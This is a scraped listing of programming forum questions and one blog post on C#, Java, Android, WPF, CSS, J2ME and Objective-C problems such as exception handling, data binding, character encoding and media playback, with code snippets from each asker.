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  • Missing Fields and Default Values

    - by PointsToShare
    © 2011 By: Dov Trietsch. All rights reserved Dealing with Missing Fields and Default Values New fields and new default values are not propagated throughout the list. They only apply to new and updated items and not to items already entered. They are only prospective. We need to be able to deal with this issue. Here is a scenario. The user has an old list with old items and adds a new field. The field is not created for any of the old items. Trying to get its value raises an Argument Exception. Here is another: a default value is added to a field. All the old items, where the field was not assigned a value, do not get the new default value. The two can also happen in tandem – a new field is added with a default. The older items have neither. Even better, if the user changes the default value, the old items still carry the old defaults. Let’s go a bit further. You have already written code for the list, be it an event receiver, a feature receiver, a console app or a command extension, in which you span all the fields and run on selected items – some new (no problem) and some old (problems aplenty). Had you written defensive code, you would be able to handle the situation, including similar changes in the future. So, without further ado, here’s how. Instead of just getting the value of a field in an item – item[field].ToString() – use the function below. I use ItemValue(item, fieldname, “mud in your eye”) and if “mud in your eye” is what I get, I know that the item did not have the field.   /// <summary> /// Return the column value or a default value /// </summary> private static string ItemValue(SPItem item, string column, string defaultValue) {     try     {         return item[column].ToString();     }     catch (NullReferenceException ex)     {         return defaultValue;     }     catch (ArgumentException ex)     {         return defaultValue;     } } I also use a similar function to return the default and a funny default-default to ascertain that the default does not exist. Here it is:  /// <summary> /// return a fields default or the "default" default. /// </summary> public static string GetFieldDefault(SPField fld, string defValue) {     try     {         // -- Check if default exists.         return fld.DefaultValue.ToString();     }     catch (NullReferenceException ex)     {         return defValue;     }     catch (ArgumentException ex)     {         return defValue;     } } How is this defensive? You have trapped an expected error and dealt with it. Therefore the program did not stop cold in its track and the required code ran to its end. Now, take a further step - write to a log (See Logging – a log blog). Read your own log every now and then, and act accordingly. That’s all Folks!

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  • BlockingCollection having issues with byte arrays

    - by MJLaukala
    I am having an issue where an object with a byte[20] is being passed into a BlockingCollection on one thread and another thread returning the object with a byte[0] using BlockingCollection.Take(). I think this is a threading issue but I do not know where or why this is happening considering that BlockingCollection is a concurrent collection. Sometimes on thread2, myclass2.mybytes equals byte[0]. Any information on how to fix this is greatly appreciated. MessageBuffer.cs public class MessageBuffer : BlockingCollection<Message> { } In the class that has Listener() and ReceivedMessageHandler(object messageProcessor) private MessageBuffer RecievedMessageBuffer; On Thread1 private void Listener() { while (this.IsListening) { try { Message message = Message.ReadMessage(this.Stream, this); if (message != null) { this.RecievedMessageBuffer.Add(message); } } catch (IOException ex) { if (!this.Client.Connected) { this.OnDisconnected(); } else { Logger.LogException(ex.ToString()); this.OnDisconnected(); } } catch (Exception ex) { Logger.LogException(ex.ToString()); this.OnDisconnected(); } } } Message.ReadMessage(NetworkStream stream, iTcpConnectClient client) public static Message ReadMessage(NetworkStream stream, iTcpConnectClient client) { int ClassType = -1; Message message = null; try { ClassType = stream.ReadByte(); if (ClassType == -1) { return null; } if (!Message.IDTOCLASS.ContainsKey((byte)ClassType)) { throw new IOException("Class type not found"); } message = Message.GetNewMessage((byte)ClassType); message.Client = client; message.ReadData(stream); if (message.Buffer.Length < message.MessageSize + Message.HeaderSize) { return null; } } catch (IOException ex) { Logger.LogException(ex.ToString()); throw ex; } catch (Exception ex) { Logger.LogException(ex.ToString()); //throw ex; } return message; } On Thread2 private void ReceivedMessageHandler(object messageProcessor) { if (messageProcessor != null) { while (this.IsListening) { Message message = this.RecievedMessageBuffer.Take(); message.Reconstruct(); message.HandleMessage(messageProcessor); } } else { while (this.IsListening) { Message message = this.RecievedMessageBuffer.Take(); message.Reconstruct(); message.HandleMessage(); } } } PlayerStateMessage.cs public class PlayerStateMessage : Message { public GameObject PlayerState; public override int MessageSize { get { return 12; } } public PlayerStateMessage() : base() { this.PlayerState = new GameObject(); } public PlayerStateMessage(GameObject playerState) { this.PlayerState = playerState; } public override void Reconstruct() { this.PlayerState.Poisiton = this.GetVector2FromBuffer(0); this.PlayerState.Rotation = this.GetFloatFromBuffer(8); base.Reconstruct(); } public override void Deconstruct() { this.CreateBuffer(); this.AddToBuffer(this.PlayerState.Poisiton, 0); this.AddToBuffer(this.PlayerState.Rotation, 8); base.Deconstruct(); } public override void HandleMessage(object messageProcessor) { ((MessageProcessor)messageProcessor).ProcessPlayerStateMessage(this); } } Message.GetVector2FromBuffer(int bufferlocation) This is where the exception is thrown because this.Buffer is byte[0] when it should be byte[20]. public Vector2 GetVector2FromBuffer(int bufferlocation) { return new Vector2( BitConverter.ToSingle(this.Buffer, Message.HeaderSize + bufferlocation), BitConverter.ToSingle(this.Buffer, Message.HeaderSize + bufferlocation + 4)); }

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  • Spring AOP AfterThrowing vs. Around Advice

    - by whiskerz
    Hey there, when trying to implement an Aspect, that is responsible for catching and logging a certain type of error, I initially thought this would be possible using the AfterThrowing advice. However it seems that his advice doesn't catch the exception, but just provides an additional entry point to do something with the exception. The only advice which would also catch the exception in question would then be an AroundAdvice - either that or I did something wrong. Can anyone assert that indeed if I want to catch the exception I have to use an AroundAdvice? The configuration I used follows: @Pointcut("execution(* test.simple.OtherService.print*(..))") public void printOperation() {} @AfterThrowing(pointcut="printOperation()", throwing="exception") public void logException(Throwable exception) { System.out.println(exception.getMessage()); } @Around("printOperation()") public void swallowException(ProceedingJoinPoint pjp) throws Throwable { try { pjp.proceed(); } catch (Throwable exception) { System.out.println(exception.getMessage()); } } Note that in this example I caught all Exceptions, because it just is an example. I know its bad practice to just swallow all exceptions, but for my current use case I want one special type of exception to be just logged while avoiding duplicate logging logic.

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  • Android, sending XML via HTTP POST (SOAP)

    - by Intosia
    Hi, I would like to invoke a webservice via Android. I need to POST some XML to a URL via HTTP. I found this snipped for sending a POST, but i dont know how to include/add the XML data itself. public void postData() { // Create a new HttpClient and Post Header HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost("http://10.10.4.35:53011/"); try { // Add your data List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2); nameValuePairs.add(new BasicNameValuePair("Content-Type", "application/soap+xml")); httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); // Where/how to add the XML data? // Execute HTTP Post Request HttpResponse response = httpclient.execute(httppost); } catch (ClientProtocolException e) { // TODO Auto-generated catch block } catch (IOException e) { // TODO Auto-generated catch block } } This is the complete POST message that i need to imitate: POST /a8103e90-f1e3-11dd-bfdb-8b1fcff1a110 HTTP/1.1 Host: 10.10.4.35:53011 Content-Type: application/soap+xml Content-Length: 602 <?xml version='1.0' encoding='UTF-8' ?> <s12:Envelope xmlns:s12="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"> <s12:Header> <wsa:MessageID>urn:uuid:fc061d40-3d63-11df-bfba-62764ccc0e48</wsa:MessageID> <wsa:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action> <wsa:To>urn:uuid:a8103e90-f1e3-11dd-bfdb-8b1fcff1a110</wsa:To> <wsa:ReplyTo> <wsa:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address> </wsa:ReplyTo> </s12:Header> <s12:Body /> </s12:Envelope>

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  • Making Ninject Interceptors work with async methods

    - by captncraig
    I am starting to work with ninject interceptors to wrap some of my async code with various behaviors and am having some trouble getting everything working. Here is an interceptor I am working with: public class MyInterceptor : IInterceptor { public async void Intercept(IInvocation invocation) { try { invocation.Proceed(); //check that method indeed returns Task await (Task) invocation.ReturnValue; RecordSuccess(); } catch (Exception) { RecordError(); invocation.ReturnValue = _defaultValue; throw; } } This appears to run properly in most normal cases. I am not sure if this will do what I expect. Although it appears to return control flow to the caller asynchronously, I am still a bit worried about the possibility that the proxy is unintentionally blocking a thread or something. That aside, I cannot get the exception handling working. For this test case: [Test] public void ExceptionThrown() { try { var interceptor = new MyInterceptor(DefaultValue); var invocation = new Mock<IInvocation>(); invocation.Setup(x => x.Proceed()).Throws<InvalidOperationException>(); interceptor.Intercept(invocation.Object); } catch (Exception e) { } } I can see in the interceptor that the catch block is hit, but the catch block in my test is never hit from the rethrow. I am more confused because there is no proxy or anything here, just pretty simple mocks and objects. I also tried something like Task.Run(() => interceptor.Intercept(invocation.Object)).Wait(); in my test, and still no change. The test passes happily, but the nUnit output does have the exception message. I imagine I am messing something up, and I don't quite understand what is going on as much as I think I do. Is there a better way to intercept an async method? What am I doing wrong with regards to exception handling?

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  • How to invoke WPF Dispatcher in Nunit?

    - by Reporting Avatar
    I want to test an application which renders a text block with a data field value. I would like to get the actual width and actual height, once the rendering completes. Everything works fine. The problem came first, when I tried to test the application. I'm unable to invoke the dispatcher from the test project. Following is the code. this.Loaded += (s, e) => { TextBlock textBlock1 = new TextBlock(); //// Text block value is assigned from data base field. textBlock1.Text = strValueFromDataBaseField; //// Setting the wrap behavior. textBlock1.TextWrapping = TextWrapping.WrapWithOverflow; //// Adding the text block to the layout canvas. this.layoutCanvas.Children.Add(textBlock1); this.Dispatcher.BeginInvoke(DispatcherPriority.Background, (Action)(() => { //// After rendering the text block with the data base field value. Measuring the actual width and height. this.TextBlockActualWidth = textBlock1.ActualWidth; this.TextBlockActualHeight = textBlock1.ActualHeight; //// Other calculations based on the actual widht and actual height. } )); }; I've just started using the NUnit. So, please help me. Thanks

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  • Cannot rollback ransaction with Entity Framework

    - by Luca
    I have to do queries on uncommitted changes and I tried to use transactions, but I found that it do not work if there are exceptions. I made a simple example to reproduce the problem. I have a database with only one table called "Tabella" and the table has two fields: "ID" is a autogenerated integer, and "Valore" is an integer with a Unique constraint. Then I try to run this code: using (TransactionScope scope = new TransactionScope()) { Db1Container db1 = new Db1Container(); try { db1.AddToTabella(new Tabella() { Valore = 1 }); db1.SaveChanges(); } catch { } try { db1.AddToTabella(new Tabella() { Valore = 1 }); db1.SaveChanges(); //Unique constraint is violated here and an exception is thrown } catch { } try { db1.AddToTabella(new Tabella() { Valore = 2 }); db1.SaveChanges(); } catch { } //scope.Complete(); //NEVER called } //here everything should be rolled back Now if I look into the database it should contain no records because the transaction should rollback, instead I find two records!!!! One with Valore=1 and one with Valore=2. I am missing something? It looks like the second call to SaveChanges method rollback its own changes and "deletes" the transaction, then the third call to SaveChanges commits the changes of the first and the third insert (at this point it is like the transaction not exists). I also tried to use SaveChanges(false) method (even without calling AcceptAllChanges method), but with no success: I have the same behaviour. I do not want the transaction to be rolled back automatically by SaveChanges, because I want to correct the errors (for example by user interaction in the catch statement) and make a retry. Can someone help me with this? It seems like a "bug", and it is giving me a really big headache...

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  • WPF Dispatcher.UnhandledException within a ShowDialog call.

    - by Eric
    It appears that ShowDialog() invokes the Dispatcher message handling loop within. Thus, you have a stack that looks something like: Outer-most Dispatcher message loop ... x.ShowDialog() Inner Dispatcher message loop ... I am using the Dispatcher.UnhandledException to catch exceptions not handled by my code. However, it appears that the Inner Dispatcher message loop, above, is undesirably catching exceptions that my code would catch. Example: Outer-most Dispatcher message loop try/catch FooException ... x.ShowDialog() Inner Dispatcher message loop ... throw FooException What I would like is for the thrown FooException to get caught by the try/catch. However. It gets caught first by the (inner) Dispatcher.UnhandledException. I see there are ways to filter the exception. However, those filters will apply to both the inner and outer most handlers. What I am looking for is to have my Dispatcher.UnhandledException code run only on the outer-most dispatcher message loop. Does that make sense? I could, of course, reflect the call stack from within my handler to see if this is the outer-most dispatcher, but that seems a bit fragile. Other ideas? Thanks! Eric

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  • Komodo Edit 5.2 Django Template Syntax Error - Info: <head> previously mentioned

    - by Lance McNearney
    I am using Komodo Edit 5.2 for editing html and Django template files. It always shows a single syntax error inside the first {% block %} area on the first tag of my template. For example: {% extends "base.html" %} {% load i18n %} {% block title %}Hello{% endblock %} {% block content %} <p>Hello</p> <-- Syntax error on this single line <p>Other lines have no errors</p> {% endblock %} {% block footer %} <p>No errors here</p> {% endblock %} The syntax error given is: Info: <head> previously mentioned I know for a fact that the error has nothing to do with my <head> tag since it occurs in the base template and in child templates (and the IDE isn't smart enough to process the base templates when in a child, etc.) All of my html tags are closed properly and everything validates for XHTML strict. This forum post mentions a similar problem but offers no solution (and may be specific to Smarty syntax highlighting). Any ideas on how to resolve this error (or disable it from being shown)?

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  • CSS Div Width Problem - Lining divs... widths seem to be off in IE7

    - by jlrolin
    So far, I'm doing this programmatically using VB.net/ASP.net: 'Create Container Div Dim ContainerDiv As New HtmlGenericControl("div") ContainerDiv.Style("width") = "100%" ContainerDiv.Style("clear") = "both" ContainerDiv.Style("text-align") = "left" ContainerDiv.Style("margin") = "0" 'Create Expand/Collapse Image Dim img As New Image img.ImageUrl = Page.ResolveUrl("~/images/minus99.jpg") img.Attributes.Add("onclick", "change(this.parent);") 'Create Company Display Dim lbl As New Label lbl.Text = Parsetext(pc.NAME) lbl.Font.Bold = True lbl.Style("font-size") = "16px" Dim NameDiv As New HtmlGenericControl("div") 'NameDiv.Style("background-color") = "#F0D3D3" NameDiv.Style("width") = "375px" NameDiv.Style("float") = "left" NameDiv.Style("margin") = "0" NameDiv.Style("display") = "block" NameDiv.Controls.Add(img) NameDiv.Controls.Add(lbl) ContainerDiv.Controls.Add(NameDiv) Dim SetupDiv As New HtmlGenericControl("div") SetupDiv.Style("background-color") = "#F0D3D3" SetupDiv.Style("width") = "210px" SetupDiv.Style("float") = "left" SetupDiv.Style("margin") = "0" SetupDiv.Style("display") = "block" 'SetupDiv.Style("position") = "fixed" ContainerDiv.Controls.Add(SetupDiv) Dim UsedDiv As New HtmlGenericControl("div") UsedDiv.Style("background-color") = "#CFF5CE" UsedDiv.Style("width") = "140px" UsedDiv.Style("float") = "left" UsedDiv.Style("margin") = "0" UsedDiv.Style("display") = "block" 'UsedDiv.Style("position") = "fixed" ContainerDiv.Controls.Add(UsedDiv) Dim RemDiv As New HtmlGenericControl("div") RemDiv.Style("background-color") = "#BEE0F7" 'RemDiv.Style("position") = "absolute" RemDiv.Style("width") = "210px" RemDiv.Style("float") = "right" RemDiv.Style("padding") = "0" RemDiv.Style("margin") = "0" RemDiv.Style("display") = "block" 'RemDiv.Style("position") = "fixed" ContainerDiv.Controls.Add(RemDiv) This should give me four DIVS inside a container DIV. Here's what it's coming out as: The correct blocks above the non-inline blocks are from a table with the same exact widths as the ones I'm using on the Divs. There isn't any CSS adding pixels to them, I don't think. I need to line these up, and I can't figure out where my problem is here. Any help would be appreciated.

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  • FTP server output and accents

    - by James P.
    I've written this little test class to connect up to an FTP server. import java.io.BufferedInputStream; import java.io.IOException; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; public class FTPTest { public static void main(String[] args) { URL url = null; try { url = new URL("ftp://anonymous:[email protected]"); } catch (MalformedURLException e) { e.printStackTrace(); } URLConnection conn = null; try { conn = url.openConnection(); } catch (IOException e) { e.printStackTrace(); } InputStream in = null; try { in = conn.getInputStream(); } catch (IOException e) { e.printStackTrace(); } BufferedInputStream bin = new BufferedInputStream(in); int b; try { while ((b = bin.read()) != -1) { char c = (char) b; System.out.print("" + (char) b); } } catch (IOException e) { e.printStackTrace(); } } } Here's the output: -rw-r--r-- 1 ftp ftp 4700 Apr 30 2007 premier.java -rw-r--r-- 1 ftp ftp 88576 Oct 23 2007 Serie1_1.doc -rw-r--r-- 1 ftp ftp 1401 Nov 21 2006 tp20061121.txt drwxr-xr-x 1 ftp ftp 0 Apr 23 20:04 répertoire Notice the name of the directory at the end of the list. There should be an "é" (e with acute accent) instead of the double character "é". This reminds me of an issue encountered previously with JSF where there was a mix-up between standards. I have little experience with character-encoding though so I'm not sure what's happening. I'm supposing that the server output is in ASCII so how do I adapt the output so it appears correctly in the console?

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  • JQuery Ajax control

    - by Anycolor
    Everybody hi. There is a problem with my own AJAX library, that I can't solve. I have some block (#ajax-loading), that has events: $('#ajax-loading') .bind('ajaxStart', function() { $('#ajax-loading').show(); }) .bind('ajaxStop', function() { $('#ajax-loading').fadeOut(150); }); For running AJAX I have special method: run: function(data, callback) { if(this.request) { this.request.abort(); } this.request = $.getJSON(window.location.pathname, data , callback); }, So .request holds current AJAX request. What do I want? My #ajax-loading block contains the button, than should Cancel current AJAX request. As I supposed, the function, making Cancel shoud contain: abort: function() { if(ajax.request) { this.request.abort(); $('#ajax-loading').fadeOut(150); } } But, as I said, there is a problem: my AJAX request cancels, loading-block hides, but when another request starts, this block doesn't shows again. It seems that when I abort AJAX request, the ajaxStop event doesn't happen. And when I run new request ajaxStart doesn't happen. I think it can be connected with readyState or status field of XMLHttpRequest, or smth similar. Could anyone help me with this or explain what's wrong. PS: excuse my english, it's not my native language...

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  • Variable-width inline underline effects in CSS

    - by sidereal
    I need to simulate the look of a typical paper form in CSS. It consists of a two-column table of fields. Each field consists of a field name (of variable width) followed by an underline that continues to the end of the column. The field might be populated, in which case there is some text centered above the line, or it may be blank. If that isn't clear, he's a rough idea in manky ASCII art: Name: _______Foo_______ Age: _____17______ Location: __Melbourne__ Handedness: _Left_ (except that the underline would continue under any text) To implement the underline without text, I assume I should use a border-bottom rather than a text-decoration: underline. Additionally, I need the bordered element to take up the full available space. Both of those argue for a block-level element. However, I can't find any way to get the block level element (either a div, an li, or a span set to display: block or inline-block) to remain on the same line as the label. As soon as I give it a width: 100%, it newlines. I've tried various combinations of floats, and I'm not inclined to do anything ridiculous with absolute positioning. Any recommendations?

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  • Problem with WPF Data Binding Defined in Code Not Updating UI Elements

    - by Ben
    I need to define new UI Elements as well as data binding in code because they will be implemented after run-time. Here is a simplified version of what I am trying to do. Data Model: public class AddressBook : INotifyPropertyChanged { private int _houseNumber; public int HouseNumber { get { return _houseNumber; } set { _houseNumber = value; NotifyPropertyChanged("HouseNumber"); } } public event PropertyChangedEventHandler PropertyChanged; protected void NotifyPropertyChanged(string sProp) { if (PropertyChanged != null) { PropertyChanged(this, new PropertyChangedEventArgs(sProp)); } } } Binding in Code: AddressBook book = new AddressBook(); book.HouseNumber = 123; TextBlock tb = new TextBlock(); Binding bind = new Binding("HouseNumber"); bind.Source = book; bind.Mode = BindingMode.OneWay; tb.SetBinding(TextBlock.TextProperty, bind); // Text block displays "123" myGrid.Children.Add(tb); book.HouseNumber = 456; // Text block displays "123" but PropertyChanged event fires When the data is first bound, the text block is updated with the correct house number. Then, if I change the house number in code later, the book's PropertyChanged event fires, but the text block is not updated. Can anyone tell me why? Thanks, Ben

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  • Understanding CABasicAnimation when spinning an object from a random angle....

    - by user157733
    I have spent ages trying to figure this out and I am still having problems. I want to rotate an image a random number of time - say 5 and a bit - then have it stop. I then want to rotate it again FROM ITS STOPPED POSITION. I am having difficulty with this so maybe someone can advise me on the right way to do it. Ok so I am using a CABasicAnimation for the spin like this... CABasicAnimation* rotationAnimation; rotationAnimation = [NSNumber numberWithFloat: 0.0]; rotationAnimation.toValue = [NSNumber numberWithFloat: M_PI * 1.0]; rotationAnimation.duration = 100; rotationAnimation.cumulative = YES; rotationAnimation.repeatCount = 5.2; rotationAnimation.removedOnCompletion = NO; rotationAnimation.fillMode = kCAFillModeForwards; [myView.layer addAnimation:rotationAnimation forKey:@"rotationAnimation"]; This works fine. I use a animationDidStop function to transform the image to the new angle so that it actually in the new position (not just appearing that way). This is where my problems start. I have tried the following... removing the toValue line which means the animation starts from where it currently is but when the animation block is repeated it jumps back to this start position every time the block is run storing the value of the end rotation and using this in the toValue so the 2 lines of code become... rotationAnimation = [NSNumber numberWithFloat: previousVal]; rotationAnimation.toValue = [NSNumber numberWithFloat: (M_PI * 1.0)+previousVal]; when I do this the animation still jumps because it is flicking back to the previousVal everytime the block is repeated Therefore my final thought is to check to see if the image is at zero, if not then rotate it to zero, then impliment the block of code to spin multiple times. This seems complicated but is this the ONLY way to achieve this? I am concerned about getting the timings smooth with this method. Any suggestions would be amazing! Thanks

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  • Retrieve data from .dat file.

    - by Zach
    We have an application which requires us to read data from a file (.dat) dynamically using deserialization. We are actually getting first object and it throws null pointer exception when we are accessing other objects using a "for" loop. File file=null; FileOutputStream fos=null; BufferedOutputStream bos=null; ObjectOutputStream oos=null; try{ file=new File("account4.dat"); fos=new FileOutputStream(file,true); bos=new BufferedOutputStream(fos); oos=new ObjectOutputStream(bos); oos.writeObject(m); System.out.println("object serialized"); amlist=new MemberAccountList(); oos.close(); } catch(Exception ex){ ex.printStackTrace(); } Reading objects: try{ MemberAccount m1; file=new File("account4.dat");//add your code here fis=new FileInputStream(file); bis=new BufferedInputStream(fis); ois=new ObjectInputStream(bis); System.out.println(ois.readObject()); while(ois.readObject()!=null){ m1=(MemberAccount)ois.readObject(); System.out.println(m1.toString()); }/mList.addElement(m1); // Here we have the issue throwing null pointer exception Enumeration elist=mList.elements(); while(elist.hasMoreElements()){ obj=elist.nextElement(); System.out.println(obj.toString()); }/ } catch(ClassNotFoundException e){ } catch(EOFException e){ System.out.println("end"); } catch(Exception ex){ ex.printStackTrace(); }

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  • message queue full error in blackberry

    - by Rahul Varma
    Hi , I have coded to get the info from the user and send an email of clicking a button. The program is getting executed for a while and then the simulator is crashing showing error "DE427"-Message queue full... Here's the code that i have done... if(field==SendMail) { Message m = new Message(); Address a = null; try { a = new Address("[email protected]", "Rahul"); } catch (AddressException e) { // TODO Auto-generated catch block e.printStackTrace(); } Address[] addresses = {a}; try { m.addRecipients(net.rim.blackberry.api.mail.Message.RecipientType.TO, addresses); m.setContent("Name:"+Name.getText().toString()+"\n"+ "Phone :"+Phone.getText().toString()+ "\n"+ "Date & Time:"+DateShow.getText().toString()+"\n"+"Make:"+Make.getText().toString()+ "\n"+"Model:"+Model.getText().toString()+"\n"+"Miles:"+Miles.getText().toString()+"\n"); m.setSubject("Appointment Request (Via Blackberry app)"); } catch (MessagingException e) { // TODO Auto-generated catch block e.printStackTrace(); } Invoke.invokeApplication(Invoke.APP_TYPE_MESSAGES, new MessageArguments(m)); } Can anyone tell me what the error is and how to rectify the problem....Plz...

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  • Data in J2ME RecordStore does not persist across sessions

    - by Botond Balázs
    I'm building a mobile app with J2ME, and I've found that the data I write into a RecordStore can be accessed while the program is still running but it is lost after quitting and restarting it. No exception is thrown, the data is simply lost. UPDATE: Thanks everyone for your suggestions. I'm using NetBeans on Windows 7. I'm not sure if it is using the WTK version I have previously installed or another one it has installed somewhere else. I've checked my WTK folder for the files Pavel wrote about, but couldn't find them. Now I'm testing the features requiring persistence on my phone and everything else in the emulator, but it would of course be much better to be able to test everything in the emulator. private RecordStore recordStore = null; public MyMIDlet() { readStuff(); // output: nothing found in recordStore :( saveStuff(); readStuff(); // output: stuff } private void readStuff() { try { recordStore = RecordStore.openRecordStore(REC_STORE, true); int n = recordStore.getNumRecords(); String stuff; if (n == 0) { stuff = "nothing found in recordStore :("; } else { stuff = new String(recordStore.getRecord(1)); } System.out.println(stuff); } catch (Exception e) { System.out.println("Exception occured in readStuff: " + e.getMessage()); } finally { if (recordStore != null) { try { recordStore.closeRecordStore(); } catch (Exception e) { // ignore } } } } private void saveStuff() { try { recordStore = RecordStore.openRecordStore(REC_STORE, true); int n = recordStore.getNumRecords(); byte[] stuff = "stuff".getBytes(); recordStore.addRecord(stuff, 0, stuff.length); } catch (Exception e) { System.out.println("Exception occured in saveStuff: " + e.getMessage()); } finally { if (recordStore != null) { try { recordStore.closeRecordStore(); } catch (Exception e) { // ignore } } } }

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  • ERROR: failed to load JDBC driver - org.hsqldb.jdbcDriver

    - by maximus
    i wrote a connector class to connect to the hsqldb. here is my code: import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import org.apache.log4j.Logger; public class hsqlmanager { private static final Logger log = Logger.getLogger(hsqlmanager.class); private static Connection con=null; private static void openConnection(){ try { Class.forName("org.hsqldb.jdbcDriver" ); log.info("Loaded JDBC Driver"); } catch (Exception e) { log.error("ERROR: failed to load JDBC driver - " + e.getMessage()); return; } try { con = DriverManager.getConnection("jdbc:hsqldb:hsql://localhost/sepm_db","sa",""); } catch(SQLException e){ log.error(e.getMessage()); } } public static void closeConnection() { try { con.close(); } catch(SQLException e) { log.error(e.getMessage()); } } public static Connection getConnection() { if (con==null){ openConnection(); } else { try { if(con.isClosed()){ con = DriverManager.getConnection("jdbc:hsqldb:hsql://localhost/sepm_db","sa",""); } } catch(SQLException e){ log.error(e.getMessage()); return null; } } return con; } } When I compile that I get ERROR: failed to load JDBC driver - org.hsqldb.jdbcDriver. Why?

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  • Implementing the ‘defer’ statement from Go in Objective-C?

    - by zoul
    Hello! Today I read about the defer statement in the Go language: A defer statement pushes a function call onto a list. The list of saved calls is executed after the surrounding function returns. Defer is commonly used to simplify functions that perform various clean-up actions. I thought it would be fun to implement something like this in Objective-C. Do you have some idea how to do it? I thought about dispatch finalizers, autoreleased objects and C++ destructors. Autoreleased objects: @interface Defer : NSObject {} + (id) withCode: (dispatch_block_t) block; @end @implementation Defer - (void) dealloc { block(); [super dealloc]; } @end #define defer(__x) [Defer withCode:^{__x}] - (void) function { defer(NSLog(@"Done")); … } Autoreleased objects seem like the only solution that would last at least to the end of the function, as the other solutions would trigger when the current scope ends. On the other hand they could stay in the memory much longer, which would be asking for trouble. Dispatch finalizers were my first thought, because blocks live on the stack and therefore I could easily make something execute when the stack unrolls. But after a peek in the documentation it doesn’t look like I can attach a simple “destructor” function to a block, can I? C++ destructors are about the same thing, I would create a stack-based object with a block to be executed when the destructor runs. This would have the ugly disadvantage of turning the plain .m files into Objective-C++? I don’t really think about using this stuff in production, I’m just interested in various solutions. Can you come up with something working, without obvious disadvantages? Both scope-based and function-based solutions would be interesting.

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  • Play and Stop in One button

    - by Ardi
    i'm newbie, i'm tried to make play audio play and stop for 1 button only, but i'm in trouble now. if i touch a button when audio is playing, it doesn't stop, even playing audio again and make a double sound. here's my code public class ProjectisengActivity extends Activity{ ImageButton mainkan; MediaPlayer mp; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.test2); mainkan=(ImageButton)findViewById(R.id.imageButton1); mainkan.setOnClickListener(new OnClickListener(){ @Override public void onClick(View v){ go(); } }); public void go(){ mp=MediaPlayer.create(ProjectisengActivity.this, R.raw.test); if(mp.isPlaying()){ mp.stop(); try { mp.prepare(); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } mp.seekTo(0); } else { mp.start(); } i'm create for android 3.0 (HoneyComb) thanks for help

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  • Run a .java file using ProcessBuilder

    - by David K
    I'm a novice programmer working in Eclipse, and I need to get multiple processes running (this is going to be a simulation of a multi-computer system). My initial hackup used multiple threads to multiple classes, but now I'm trying to replace the threads with processes. From my reading, I've gleaned that ProcessBuilder is the way to go. I have tried many many versions of the input you see below, but cannot for the life of me figure out how to properly use it. I am trying to run the .java files I previously created as classes (which I have modified). I eventually just made a dummy test.java to make sure my process is working properly - its only function is to print that it ran. My code for the two files are below. Am I using ProcessBuilder correctly? Is this the correct way to read the output of my subprocess? Any help would be much appreciated. David primary process package Control; import java.io.*; import java.lang.*; public class runSPARmatch { /** * @param args */ public static void main(String args[]) { try { ProcessBuilder broker = new ProcessBuilder("javac.exe","test.java","src\\Broker\\"); Process runBroker = broker.start(); Reader reader = new InputStreamReader(runBroker.getInputStream()); int ch; while((ch = reader.read())!= -1) System.out.println((char)ch); reader.close(); runBroker.waitFor(); System.out.println("Program complete"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } subprocess package Broker; public class test { /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub System.out.println("This works"); } }

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  • Avoiding shutdown hook

    - by meryl
    Through the following code I can play and cut and audio file. Is there any other way to avoid using a shutdown hook? The problem is that whenever I push the cut button , the file doesn't get saved until I close the application thanks ...................... void play_cut() { try { // First, we get the format of the input file final AudioFileFormat.Type fileType = AudioSystem.getAudioFileFormat(inputAudio).getType(); // Then, we get a clip for playing the audio. c = AudioSystem.getClip(); // We get a stream for playing the input file. AudioInputStream ais = AudioSystem.getAudioInputStream(inputAudio); // We use the clip to open (but not start) the input stream c.open(ais); // We get the format of the audio codec (not the file format we got above) final AudioFormat audioFormat = ais.getFormat(); // We add a shutdown hook, an anonymous inner class. Runtime.getRuntime().addShutdownHook(new Thread() { public void run() { // We're now in the hook, which means the program is shutting down. // You would need to use better exception handling in a production application. try { // Stop the audio clip. c.stop(); // Create a new input stream, with the duration set to the frame count we reached. Note that we use the previously determined audio format AudioInputStream startStream = new AudioInputStream(new FileInputStream(inputAudio), audioFormat, c.getLongFramePosition()); // Write it out to the output file, using the same file type. AudioSystem.write(startStream, fileType, outputAudio); } catch(IOException e) { e.printStackTrace(); } } }); // After setting up the hook, we start the clip. c.start(); } catch (UnsupportedAudioFileException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (LineUnavailableException e) { e.printStackTrace(); } }// end play_cut ......................

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  • blackberry implement audio player

    - by Prasad
    Hi, I am developing an application which let users to hear songs online. And I used Blackberry Player and Manager APIs. My application works fine and I can play songs. Now I wan't to add more controls to it. As an example I want pause, play songs. Mute the sound, Control the volume. Display the progress of the play back. Display the current time position of the song like that. I started research on that. And I tried to do that with PlayerListener. But unfortunately all the time I am getting IllegalStateException. So I can't go ahead with that research. As a help can someone please tell me how can I implement above kind of controls for a player. Appreciate if someone can post a sample code to do that. Further I will put my playback source code here. public void run() { try { p = Manager.createPlayer(requestedSong + SystemSettings.strNetwork); p.setLoopCount(1); p.start(); } catch (IOException ioe) { } catch (MediaException me) { } } public void run() { try { p = Manager.createPlayer(strSongURL); p.setLoopCount(1); p.start(); } catch (IOException ioe) { } catch (MediaException me) { } } Thank you very much. Prasad

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  • What does this script do? Is it malicious?

    - by ramdaz
